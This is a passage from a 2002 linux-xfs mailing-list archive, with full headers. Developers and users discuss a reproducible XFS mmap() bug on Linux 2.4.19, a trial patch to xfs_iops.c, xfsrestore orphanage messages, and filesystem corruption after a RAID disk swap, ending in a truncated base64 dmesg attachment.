/usr/lib/gcc-lib/i386-linux/2.95.4/specs gcc version 2.95.4 20011002 (Debian prerelease) Reading specs from /usr/lib/gcc-lib/i386-linux/3.0.4/specs gcc version 3.0.4 Reading specs from /usr/lib/gcc-lib/i386-linux/3.1.1/specs gcc version 3.1.1 20020703 (Debian prerelease) Linker: GNU ld version 2.12.90.0.9 20020526 Debian GNU/Linux Kind regards, -- Wessel Dankers dry joints on cable plug From owner-linux-xfs@oss.sgi.com Mon Aug 5 11:58:39 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g75IwdRw018418 for ; Mon, 5 Aug 2002 11:58:39 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g75Iwdhw018417 for linux-xfs-outgoing; Mon, 5 Aug 2002 11:58:39 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from hob.slb.nwc.acsalaska.net (hob.slb.nwc.acsalaska.net [209.112.155.42]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g75IwRRw018387 for ; Mon, 5 Aug 2002 11:58:27 -0700 Received: from erbenson.alaska.net (2-pm21.nwc.alaska.net [209.112.143.2]) by hob.slb.nwc.acsalaska.net (8.11.6/8.11.6) with ESMTP id g75J0Jq97011 for ; Mon, 5 Aug 2002 11:00:19 -0800 (AKDT) (envelope-from erbenson@alaska.net) Received: from plato.local.lan (plato.local.lan [192.168.0.4]) by erbenson.alaska.net (Postfix) with ESMTP id 110E83A17 for ; Mon, 5 Aug 2002 11:00:18 -0800 (AKDT) Received: by plato.local.lan (Postfix, from userid 1000) id 225D010293; Mon, 5 Aug 2002 11:00:18 -0800 (AKDT) Date: Mon, 5 Aug 2002 11:00:18 -0800 From: Ethan Benson To: linux-xfs@oss.sgi.com Subject: Re: The mmap() problem is back Message-ID: <20020805110018.H24705@plato.local.lan> Mail-Followup-To: linux-xfs@oss.sgi.com References: <20020805010731.F24705@plato.local.lan> <3674.1028557285@ocs3.intra.ocs.com.au> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="APlYHCtpeOhspHkB" Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <3674.1028557285@ocs3.intra.ocs.com.au>; from kaos@sgi.com on Tue, Aug 06, 2002 at 12:21:25AM +1000 X-OS: Debian GNU Mail-Copies-To: nobody X-No-CC: I subscribe to this list; do not CC me on replies. X-Spam-Status: No, hits=-4.4 required=5.0 tests=IN_REP_TO version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk --APlYHCtpeOhspHkB Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Tue, Aug 06, 2002 at 12:21:25AM +1000, Keith Owens wrote: > On Mon, 5 Aug 2002 01:07:31 -0800,=20 > Ethan Benson wrote: > >On Mon, Aug 05, 2002 at 10:58:06AM +0200, Wessel Dankers wrote: > >> On 2002-08-03 18:59:41+0200, Wessel Dankers wrote: > >> > Also of note may be that I'm running it with the ngpt futex patch an= d t=3D > >he > >> > O(1) scheduler patch. > >>=3D20 > >> I just tried a kernel without any patches whatsoever: it exhibits the = same > >> problem. I did notice that the file needs to be written in small chunk= s at > >> a time. For example: > >>=3D20 > >> dd if=3D3D/dev/zero of=3D3Dfoo bs=3D3D1024 count=3D3D9 > > > >i have reproduced this problem quite easily as well with a plain > >2.4.19 + split patches on powerpc, its not difficult at all to reproduce. >=20 > Could people reporting this problem please include their compiler and > binutils versions (gcc -v ; ld -v). I am running 2.4.19-xfs from eb@dogbert ~$ gcc -v ; ld -v Reading specs from /usr/lib/gcc-lib/powerpc-linux/2.95.4/specs gcc version 2.95.4 20011002 (Debian prerelease) GNU ld version 2.12.90.0.1 20020307 Debian/GNU Linux --=20 Ethan Benson http://www.alaska.net/~erbenson/ --APlYHCtpeOhspHkB Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iEYEARECAAYFAj1Oy0EACgkQJKx7GixEevzA+wCdHHxVUfoBEMY7PF7tEgWoKSY2 zvAAn0bmGB4P5eY0UL7hQODwFZhK1yoc =uAZW -----END PGP SIGNATURE----- --APlYHCtpeOhspHkB-- From owner-linux-xfs@oss.sgi.com Mon Aug 5 12:12:32 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g75JCWRw018891 for ; Mon, 5 Aug 2002 12:12:32 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g75JCWvV018890 for linux-xfs-outgoing; Mon, 5 Aug 2002 12:12:32 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from echo.computel.nl (IDENT:postfix@echo.computel.nl [195.86.134.74]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g75JCORw018862 for ; Mon, 5 Aug 2002 12:12:25 -0700 Received: from localhost (localhost [127.0.0.1]) by echo.computel.nl (Postfix) with SMTP id E30829E3D; Mon, 5 Aug 2002 21:14:16 +0200 (CEST) Received: from balefire10ww (e122144.upc-e.chello.nl [213.93.122.144]) by echo.computel.nl (Postfix) with ESMTP id 464D29DEA; Mon, 5 Aug 2002 21:14:16 +0200 (CEST) Message-ID: <003f01c23cb4$4ab2d910$64c8a8c0@balefire10ww> From: "Sander Steffann" To: "Keith Owens" , "Florian Weimer" Cc: "Ethan Benson" , References: <3674.1028557285@ocs3.intra.ocs.com.au> <87znw1yz7g.fsf@CERT.Uni-Stuttgart.DE> Subject: Re: The mmap() problem is back Date: Mon, 5 Aug 2002 21:14:15 +0200 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MIMEOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 X-AntiVirus: www.nederland.net e-mail virus scanner X-Spam-Status: No, hits=0.0 required=5.0 tests= version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk > I've encountered the same problem with ReiserFS ages ago. In this > case, the page cache had the correct view, but the data on disk was > wrong. Unless the page was somehow flushed, the real disk contents > didn't show up until the next reboot. Hmmm. This sounds like a problem we had several months ago... Only we ran RedHat 6.2 with a 2.2 kernel and an ext2 filesystem. We noticed something was wrong when rsync started to hang. Even a kill -9 couldn't stop it. At that moment, the filesystem seemed damaged, but not too bad. After a reboot the main superblock was gone, and even fsck.ext2 couldn't make much of the filesystem... We had to restore a backup from tape :( This happen twice in two weeks. Both times it was the same filesystem that was messed up, but since it was also the most active filesystem that makes sense. We suspected bad hardware. Mostly because the airconditioning had broken, and another mainboard had already died from the heat... Mainboard, processor and memory were replaced, and we never had that problem again. I hope this helps. Funny that exactly the same thing can happen on three different filesystem-types. Good luck, Sander From owner-linux-xfs@oss.sgi.com Mon Aug 5 12:35:47 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g75JZlRw019952 for ; Mon, 5 Aug 2002 12:35:47 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g75JZlQq019951 for linux-xfs-outgoing; Mon, 5 Aug 2002 12:35:47 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from zeus-e8.americas.sgi.com ([198.149.7.250]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g75JZcRw019923 for ; Mon, 5 Aug 2002 12:35:38 -0700 Received: from daisy-e185.americas.sgi.com (daisy-e185.americas.sgi.com [128.162.185.214]) by zeus-e8.americas.sgi.com (SGI-SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id OAA09475; Mon, 5 Aug 2002 14:37:24 -0500 (CDT) Received: from jen.americas.sgi.com (jen.americas.sgi.com [128.162.187.49]) by daisy-e185.americas.sgi.com (SGI-8.9.3/SGI-server-1.8) with ESMTP id OAA39534; Mon, 5 Aug 2002 14:37:23 -0500 (CDT) Received: by jen.americas.sgi.com (8.11.6/SGI-client-1.7) id g75JaqQ24537; Mon, 5 Aug 2002 14:36:52 -0500 Subject: Re: The mmap() problem is back From: Steve Lord To: Wessel Dankers Cc: linux-xfs@oss.sgi.com In-Reply-To: <20020805184232.GD863@fruit.eu.org> References: <20020805010731.F24705@plato.local.lan> <3674.1028557285@ocs3.intra.ocs.com.au> <20020805184232.GD863@fruit.eu.org> Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.8 Date: 05 Aug 2002 14:36:52 -0500 Message-Id: <1028576212.14705.56.camel@jen.americas.sgi.com> Mime-Version: 1.0 X-Spam-Status: No, hits=-3.6 required=5.0 tests=IN_REP_TO,SIGNATURE_DELIM version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk On Mon, 2002-08-05 at 13:42, Wessel Dankers wrote: > On 2002-08-06 00:21:25+1000, Keith Owens wrote: > > Could people reporting this problem please include their compiler and > > binutils versions (gcc -v ; ld -v). I am running 2.4.19-xfs from > > immediately after it was released, and I cannot reproduce the problem. > > Tested on UP and SMP using > > Reading specs from /usr/lib/gcc-lib/i386-redhat-linux/2.96/specs > > gcc version 2.96 20000731 (Red Hat Linux 7.1 2.96-81) > > GNU ld version 2.10.91 (with BFD 2.10.91.0.2) > > Compilers: (I tried each of them, all exhibited the mmap() problem) > > Reading specs from /usr/lib/gcc-lib/i386-linux/2.95.4/specs > gcc version 2.95.4 20011002 (Debian prerelease) > > Reading specs from /usr/lib/gcc-lib/i386-linux/3.0.4/specs > gcc version 3.0.4 > > Reading specs from /usr/lib/gcc-lib/i386-linux/3.1.1/specs > gcc version 3.1.1 20020703 (Debian prerelease) > > Linker: > > GNU ld version 2.12.90.0.9 20020526 Debian GNU/Linux > > Kind regards, > > -- > Wessel Dankers > > dry joints on cable plug Ahh, I happen to have gcc 3.0.4 lurking on my box here, I have rebuilt a kernel with it and I am cleaning all the disks with mapcheck first. I will pound on it for a while and see what happens. Thanks, Steve -- Steve Lord voice: +1-651-683-3511 Principal Engineer, Filesystem Software email: lord@sgi.com From owner-linux-xfs@oss.sgi.com Mon Aug 5 13:11:36 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g75KBaRw020420 for ; Mon, 5 Aug 2002 13:11:36 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g75KBasV020419 for linux-xfs-outgoing; Mon, 5 Aug 2002 13:11:36 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from zeus-e8.americas.sgi.com ([198.149.7.250]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g75KBRRw020390 for ; Mon, 5 Aug 2002 13:11:27 -0700 Received: from daisy-e185.americas.sgi.com (daisy-e185.americas.sgi.com [128.162.185.214]) by zeus-e8.americas.sgi.com (SGI-SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id PAA96985; Mon, 5 Aug 2002 15:13:15 -0500 (CDT) Received: from jen.americas.sgi.com (jen.americas.sgi.com [128.162.187.49]) by daisy-e185.americas.sgi.com (SGI-8.9.3/SGI-server-1.8) with ESMTP id PAA75445; Mon, 5 Aug 2002 15:13:14 -0500 (CDT) Received: by jen.americas.sgi.com (8.11.6/SGI-client-1.7) id g75KChG25675; Mon, 5 Aug 2002 15:12:43 -0500 Subject: Re: The mmap() problem is back From: Steve Lord To: Wessel Dankers Cc: linux-xfs@oss.sgi.com In-Reply-To: <20020805184232.GD863@fruit.eu.org> References: <20020805010731.F24705@plato.local.lan> <3674.1028557285@ocs3.intra.ocs.com.au> <20020805184232.GD863@fruit.eu.org> Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.8 Date: 05 Aug 2002 15:12:43 -0500 Message-Id: <1028578363.25172.1.camel@jen.americas.sgi.com> Mime-Version: 1.0 X-Spam-Status: No, hits=-3.6 required=5.0 tests=IN_REP_TO,SIGNATURE_DELIM version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk On Mon, 2002-08-05 at 13:42, Wessel Dankers wrote: > On 2002-08-06 00:21:25+1000, Keith Owens wrote: > > Could people reporting this problem please include their compiler and > > binutils versions (gcc -v ; ld -v). I am running 2.4.19-xfs from > > immediately after it was released, and I cannot reproduce the problem. > > Tested on UP and SMP using > > Reading specs from /usr/lib/gcc-lib/i386-redhat-linux/2.96/specs > > gcc version 2.96 20000731 (Red Hat Linux 7.1 2.96-81) > > GNU ld version 2.10.91 (with BFD 2.10.91.0.2) > > Compilers: (I tried each of them, all exhibited the mmap() problem) > > Reading specs from /usr/lib/gcc-lib/i386-linux/2.95.4/specs > gcc version 2.95.4 20011002 (Debian prerelease) > > Reading specs from /usr/lib/gcc-lib/i386-linux/3.0.4/specs > gcc version 3.0.4 > > Reading specs from /usr/lib/gcc-lib/i386-linux/3.1.1/specs > gcc version 3.1.1 20020703 (Debian prerelease) > > Linker: > > GNU ld version 2.12.90.0.9 20020526 Debian GNU/Linux > OK, I replicated it here, then went back and replicated it with a different compiler. Not sure when I will manage to fix it, Eric is out this week and I am buried under ten thousand other things. Steve -- Steve Lord voice: +1-651-683-3511 Principal Engineer, Filesystem Software email: lord@sgi.com From owner-linux-xfs@oss.sgi.com Mon Aug 5 15:00:56 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g75M0uRw021531 for ; Mon, 5 Aug 2002 15:00:56 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g75M0uQG021530 for linux-xfs-outgoing; Mon, 5 Aug 2002 15:00:56 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from zeus-e8.americas.sgi.com ([198.149.7.250]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g75M0mRw021502 for ; Mon, 5 Aug 2002 15:00:48 -0700 Received: from daisy-e185.americas.sgi.com (daisy-e185.americas.sgi.com [128.162.185.214]) by zeus-e8.americas.sgi.com (SGI-SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id RAA09835; Mon, 5 Aug 2002 17:02:36 -0500 (CDT) Received: from jen.americas.sgi.com (jen.americas.sgi.com [128.162.187.49]) by daisy-e185.americas.sgi.com (SGI-8.9.3/SGI-server-1.8) with ESMTP id RAA96652; Mon, 5 Aug 2002 17:02:35 -0500 (CDT) Received: by jen.americas.sgi.com (8.11.6/SGI-client-1.7) id g75M23l27411; Mon, 5 Aug 2002 17:02:03 -0500 Subject: Re: The mmap() problem is back From: Steve Lord To: Wessel Dankers Cc: linux-xfs@oss.sgi.com In-Reply-To: <20020805184232.GD863@fruit.eu.org> References: <20020805010731.F24705@plato.local.lan> <3674.1028557285@ocs3.intra.ocs.com.au> <20020805184232.GD863@fruit.eu.org> Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.8 Date: 05 Aug 2002 17:02:03 -0500 Message-Id: <1028584923.26861.9.camel@jen.americas.sgi.com> Mime-Version: 1.0 X-Spam-Status: No, hits=-9.4 required=5.0 tests=IN_REP_TO,UNIFIED_PATCH version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk Can you try this change and let me know if it fixes it for you, I did not check this in because I do not want to fix it this way, but it will confirm where the problem is coming from: Steve =========================================================================== Index: linux/fs/xfs/linux/xfs_iops.c =========================================================================== --- /usr/tmp/TmpDir.27400-0/linux/fs/xfs/linux/xfs_iops.c_1.167 Mon Aug 5 17:02:15 2002 +++ linux/fs/xfs/linux/xfs_iops.c Mon Aug 5 16:38:56 2002 @@ -559,9 +559,11 @@ /* If we are doing writes at the end of the file, * allocate in chunks */ +/**** if (create && (offset >= inode->i_size) && !(flags & PBF_SYNC)) size = 1 << XFS_WRITE_IO_LOG; else +***/ size = 1 << inode->i_blkbits; VOP_BMAP(vp, offset, size, -- Steve Lord voice: +1-651-683-3511 Principal Engineer, Filesystem Software email: lord@sgi.com From owner-linux-xfs@oss.sgi.com Mon Aug 5 23:24:50 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g766OoRw001709 for ; Mon, 5 Aug 2002 23:24:50 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g766OoPK001708 for linux-xfs-outgoing; Mon, 5 Aug 2002 23:24:50 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from sgi.com (sgi-too.SGI.COM [204.94.211.39]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g766OcRw001679 for ; Mon, 5 Aug 2002 23:24:38 -0700 Received: from boing.melbourne.sgi.com (boing.melbourne.sgi.com [134.14.55.141]) by sgi.com (980327.SGI.8.8.8-aspam/980304.SGI-aspam: SGI does not authorize the use of its proprietary systems or networks for unsolicited or bulk email from the Internet.) via ESMTP id XAA04197 for ; Mon, 5 Aug 2002 23:27:10 -0700 (PDT) mail_from (tes@boing.melbourne.sgi.com) Received: (from tes@localhost) by boing.melbourne.sgi.com (SGI-8.9.3/8.9.3) id QAA73557; Tue, 6 Aug 2002 16:25:04 +1000 (AEST) Date: Tue, 6 Aug 2002 16:25:04 +1000 From: Tim Shimmin To: "Blizbor (IMA)" Cc: linux-xfs@oss.sgi.com Subject: Re: HELP - serious problem, weird filesystem behaviour ... Message-ID: <20020806162504.Y3612651@boing.melbourne.sgi.com> References: <3D4BA4BC.2000700@ima.pl> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0us In-Reply-To: <3D4BA4BC.2000700@ima.pl>; from tb670725@ima.pl on Sat, Aug 03, 2002 at 11:39:08AM +0200 X-Spam-Status: No, hits=-4.4 required=5.0 tests=IN_REP_TO version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk Hi Blizbor, Answering the xfsdump/restore related question... On Sat, Aug 03, 2002 at 11:39:08AM +0200, Blizbor (IMA) wrote: > Hi, > > Yesterday in mc programm I have deleted few > directories on \ filesystem (i.e. \ola \ala \iza). > These are very small so deletion was rapid. > > Then problem started. > > ls / doesnt show anything however I still can do > cd /home; cd /root; cd /bin ... all files are found. > Almost everything is working. Im afraid to reboot these machine. > > I have done xfs_ncheck - shows that fs contains data. > I have done xfsdump, I presume you did the xfsdump after the deletions. (Better to do it beforehand ;-) > then during archive validation > I found something strange for me: > > [root@localhost /root]# xfsrestore -t -f /home/XFSdump_rootFS.bin | head > -1000 > xfsrestore: version 3.0 - Running single-threaded .... > xfsrestore: searching media for directory dump > xfsrestore: reading directories > xfsrestore: directory post-processing > xfsrestore: reading non-directory files > xfsrestore: NOTE: ino 135 salvaging file, placing in > orphanage/524417.0/lib/locale/ar_IN/LC_MESSAGES/SYS_LC_MESSAGES ... > What does it means ? I believe this means that it is trying to restore inode 135 of which it has the file data and we have the parent directory which contains this file entry BUT the rest of the directory tree (starting from root) is not connected to this node. There is a pass in the code which recursively marks the subtrees to restore (starting from the top of the tree) and it never got to this entry. So it restores this file into the orphanage directory. So your FS is likely to be corrupted which matches with your statements above. > Is it possible to repair that system without data lost ? > I guess you may need to boot from CD and xfs_repair the unmounted xfs root file system. I'll leave it to others to comment on the best course of action here. --Tim From owner-linux-xfs@oss.sgi.com Tue Aug 6 02:40:08 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g769e7Rw005024 for ; Tue, 6 Aug 2002 02:40:08 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g769e7Cg005023 for linux-xfs-outgoing; Tue, 6 Aug 2002 02:40:07 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from sgi.com (sgi-too.SGI.COM [204.94.211.39]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g769dDRw004975 for ; Tue, 6 Aug 2002 02:39:13 -0700 Received: from rrzs2.rz.uni-regensburg.de (rrzs2.rz.uni-regensburg.de [132.199.1.2]) by sgi.com (980327.SGI.8.8.8-aspam/980304.SGI-aspam: SGI does not authorize the use of its proprietary systems or networks for unsolicited or bulk email from the Internet.) via ESMTP id CAA06245 for ; Tue, 6 Aug 2002 02:41:45 -0700 (PDT) mail_from (christian.guggenberger@physik.uni-regensburg.de) Received: from pc9391.physik.uni-regensburg.de (mail@pc9391.physik.uni-regensburg.de [132.199.98.219]) by rrzs2.rz.uni-regensburg.de (8.9.3/8.9.3-URRZ-Sol-2.7-01) with ESMTP id LAA21845 for ; Tue, 6 Aug 2002 11:32:09 +0200 (MET DST) Received: from loopback ([127.0.0.1] helo=pc9391 ident=guc28561) by pc9391.physik.uni-regensburg.de with esmtp (Exim 3.35 #1 (Debian)) id 17c0hC-0000Sf-00 for ; Tue, 06 Aug 2002 11:32:06 +0200 Date: Tue, 6 Aug 2002 11:32:03 +0200 From: Christian Guggenberger To: linux-xfs@oss.sgi.com Subject: filesystem corruption Message-ID: <20020806113203.A29628@pc9391.uni-regensburg.de> Mime-Version: 1.0 Content-Type: multipart/mixed; boundary="=_5mCyUwZo2JvN/J" Content-Transfer-Encoding: 8bit X-Mailer: Balsa 1.2.4 Lines: 331 X-Spam-Status: No, hits=0.0 required=5.0 tests= version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk --=_5mCyUwZo2JvN/J Content-Type: text/plain; format=flowed; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Hi there! we recently replaced all 6 HDs (80GB) of our ide-scsi hardware raid5(ift-6200) by 160Gb ones. This Raid contained 2 Partitions (each ~200GB). I backed up those partions using tar to another ide-sci hw raid5(ift-6300, 1.7TB,12x160GB) without errors. Now, while migrating the data back, I get file-system corruptions on the newly created xfs-filesystems. tar xvfp scratch.tar stops with input/output errors. I'm using cvs-kernel checked out on August, 4th, ca. 18:00 EST, compiled with gcc-2.95.4(DebianPrerelease). xfsprogs are the latest, too. According to the manufactor of the ift-6200, I should use 32k stripe unit for random-access optimization. So here's what I used to create the two filesystems on the ift-6200: mkfs.xfs -f -d sunit=64,swidth=320 -l size=32768b /dev/sdb1 mkfs.xfs -f -d sunit=64,swidth=320 -l size=32768b /dev/sdb2 Should I try other options? e.g no sunit and swidth?? The attachment contains the whole dmesg output. thanks in advance Christian Guggenberger --=_5mCyUwZo2JvN/J Content-Type: application/octet-stream; charset=us-ascii Content-Disposition: attachment; filename="dmesg.out" Content-Transfer-Encoding: base64 QyAoYXBpY2lkLXBpbikgMi0wLCAyLTUsIDItMTAsIDItMTEsIDItMTMgbm90 IGNvbm5lY3RlZC4KLi5USU1FUjogdmVjdG9yPTB4MzEgcGluMT0yIHBpbjI9 MAouLk1QLUJJT1MgYnVnOiA4MjU0IHRpbWVyIG5vdCBjb25uZWN0ZWQgdG8g SU8tQVBJQwouLi50cnlpbmcgdG8gc2V0IHVwIHRpbWVyIChJUlEwKSB0aHJv dWdoIHRoZSA4MjU5QSAuLi4gCi4uLi4uIChmb3VuZCBwaW4gMCkgLi4ud29y a3MuCm51bWJlciBvZiBNUCBJUlEgc291cmNlczogNDUuCm51bWJlciBvZiBJ Ty1BUElDICMyIHJlZ2lzdGVyczogMTYuCm51bWJlciBvZiBJTy1BUElDICMz IHJlZ2lzdGVyczogMTYuCnRlc3RpbmcgdGhlIElPIEFQSUMuLi4uLi4uLi4u Li4uLi4uLi4uLi4uLgoKSU8gQVBJQyAjMi4uLi4uLgouLi4uIHJlZ2lzdGVy ICMwMDogMDIwMDAwMDAKLi4uLi4uLiAgICA6IHBoeXNpY2FsIEFQSUMgaWQ6 IDAyCi4uLi4gcmVnaXN0ZXIgIzAxOiAwMDBGMDAxMQouLi4uLi4uICAgICA6 IG1heCByZWRpcmVjdGlvbiBlbnRyaWVzOiAwMDBGCi4uLi4uLi4gICAgIDog UFJRIGltcGxlbWVudGVkOiAwCi4uLi4uLi4gICAgIDogSU8gQVBJQyB2ZXJz aW9uOiAwMDExCi4uLi4gcmVnaXN0ZXIgIzAyOiAwMDAwMDAwMAouLi4uLi4u ICAgICA6IGFyYml0cmF0aW9uOiAwMAouLi4uIElSUSByZWRpcmVjdGlvbiB0 YWJsZToKIE5SIExvZyBQaHkgTWFzayBUcmlnIElSUiBQb2wgU3RhdCBEZXN0 IERlbGkgVmVjdDogICAKIDAwIDAwMyAwMyAgMCAgICAwICAgIDAgICAwICAg MCAgICAxICAgIDEgICAgMzEKIDAxIDAwMyAwMyAgMCAgICAwICAgIDAgICAw ICAgMCAgICAxICAgIDEgICAgMzkKIDAyIDAwMCAwMCAgMSAgICAwICAgIDAg ICAwICAgMCAgICAwICAgIDAgICAgMDAKIDAzIDAwMyAwMyAgMCAgICAwICAg IDAgICAwICAgMCAgICAxICAgIDEgICAgNDEKIDA0IDAwMyAwMyAgMCAgICAw ICAgIDAgICAwICAgMCAgICAxICAgIDEgICAgNDkKIDA1IDAwMCAwMCAgMSAg ICAwICAgIDAgICAwICAgMCAgICAwICAgIDAgICAgMDAKIDA2IDAwMyAwMyAg MCAgICAwICAgIDAgICAwICAgMCAgICAxICAgIDEgICAgNTEKIDA3IDAwMyAw MyAgMCAgICAwICAgIDAgICAwICAgMCAgICAxICAgIDEgICAgNTkKIDA4IDAw MyAwMyAgMCAgICAwICAgIDAgICAwICAgMCAgICAxICAgIDEgICAgNjEKIDA5 IDAwMyAwMyAgMCAgICAwICAgIDAgICAwICAgMCAgICAxICAgIDEgICAgNjkK IDBhIDAwMCAwMCAgMSAgICAwICAgIDAgICAwICAgMCAgICAwICAgIDAgICAg MDAKIDBiIDAwMCAwMCAgMSAgICAwICAgIDAgICAwICAgMCAgICAwICAgIDAg ICAgMDAKIDBjIDAwMyAwMyAgMCAgICAwICAgIDAgICAwICAgMCAgICAxICAg IDEgICAgNzEKIDBkIDAwMCAwMCAgMSAgICAwICAgIDAgICAwICAgMCAgICAw ICAgIDAgICAgMDAKIDBlIDAwMyAwMyAgMCAgICAwICAgIDAgICAwICAgMCAg ICAxICAgIDEgICAgNzkKIDBmIDAwMyAwMyAgMCAgICAwICAgIDAgICAwICAg MCAgICAxICAgIDEgICAgODEKCklPIEFQSUMgIzMuLi4uLi4KLi4uLiByZWdp c3RlciAjMDA6IDAzMDAwMDAwCi4uLi4uLi4gICAgOiBwaHlzaWNhbCBBUElD IGlkOiAwMwouLi4uIHJlZ2lzdGVyICMwMTogMDAwRjAwMTEKLi4uLi4uLiAg ICAgOiBtYXggcmVkaXJlY3Rpb24gZW50cmllczogMDAwRgouLi4uLi4uICAg ICA6IFBSUSBpbXBsZW1lbnRlZDogMAouLi4uLi4uICAgICA6IElPIEFQSUMg dmVyc2lvbjogMDAxMQouLi4uIHJlZ2lzdGVyICMwMjogMDEwMDAwMDAKLi4u Li4uLiAgICAgOiBhcmJpdHJhdGlvbjogMDEKLi4uLiBJUlEgcmVkaXJlY3Rp b24gdGFibGU6CiBOUiBMb2cgUGh5IE1hc2sgVHJpZyBJUlIgUG9sIFN0YXQg RGVzdCBEZWxpIFZlY3Q6ICAgCiAwMCAwMDMgMDMgIDEgICAgMSAgICAwICAg MSAgIDAgICAgMSAgICAxICAgIDg5CiAwMSAwMDMgMDMgIDEgICAgMSAgICAw ICAgMSAgIDAgICAgMSAgICAxICAgIDkxCiAwMiAwMDMgMDMgIDEgICAgMSAg ICAwICAgMSAgIDAgICAgMSAgICAxICAgIDk5CiAwMyAwMDMgMDMgIDEgICAg MSAgICAwICAgMSAgIDAgICAgMSAgICAxICAgIEExCiAwNCAwMDMgMDMgIDEg ICAgMSAgICAwICAgMSAgIDAgICAgMSAgICAxICAgIEE5CiAwNSAwMDMgMDMg IDEgICAgMSAgICAwICAgMSAgIDAgICAgMSAgICAxICAgIEIxCiAwNiAwMDMg MDMgIDEgICAgMSAgICAwICAgMSAgIDAgICAgMSAgICAxICAgIEI5CiAwNyAw MDMgMDMgIDEgICAgMSAgICAwICAgMSAgIDAgICAgMSAgICAxICAgIEMxCiAw OCAwMDMgMDMgIDEgICAgMSAgICAwICAgMSAgIDAgICAgMSAgICAxICAgIEM5 CiAwOSAwMDMgMDMgIDEgICAgMSAgICAwICAgMSAgIDAgICAgMSAgICAxICAg IEQxCiAwYSAwMDMgMDMgIDEgICAgMSAgICAwICAgMSAgIDAgICAgMSAgICAx ICAgIEQ5CiAwYiAwMDMgMDMgIDEgICAgMSAgICAwICAgMSAgIDAgICAgMSAg ICAxICAgIEUxCiAwYyAwMDMgMDMgIDEgICAgMSAgICAwICAgMSAgIDAgICAg MSAgICAxICAgIEU5CiAwZCAwMDMgMDMgIDEgICAgMSAgICAwICAgMSAgIDAg ICAgMSAgICAxICAgIDMyCiAwZSAwMDMgMDMgIDEgICAgMSAgICAwICAgMSAg IDAgICAgMSAgICAxICAgIDNBCiAwZiAwMDMgMDMgIDEgICAgMSAgICAwICAg MSAgIDAgICAgMSAgICAxICAgIDQyCklSUSB0byBwaW4gbWFwcGluZ3M6CklS UTAgLT4gMDowCklSUTEgLT4gMDoxCklSUTMgLT4gMDozCklSUTQgLT4gMDo0 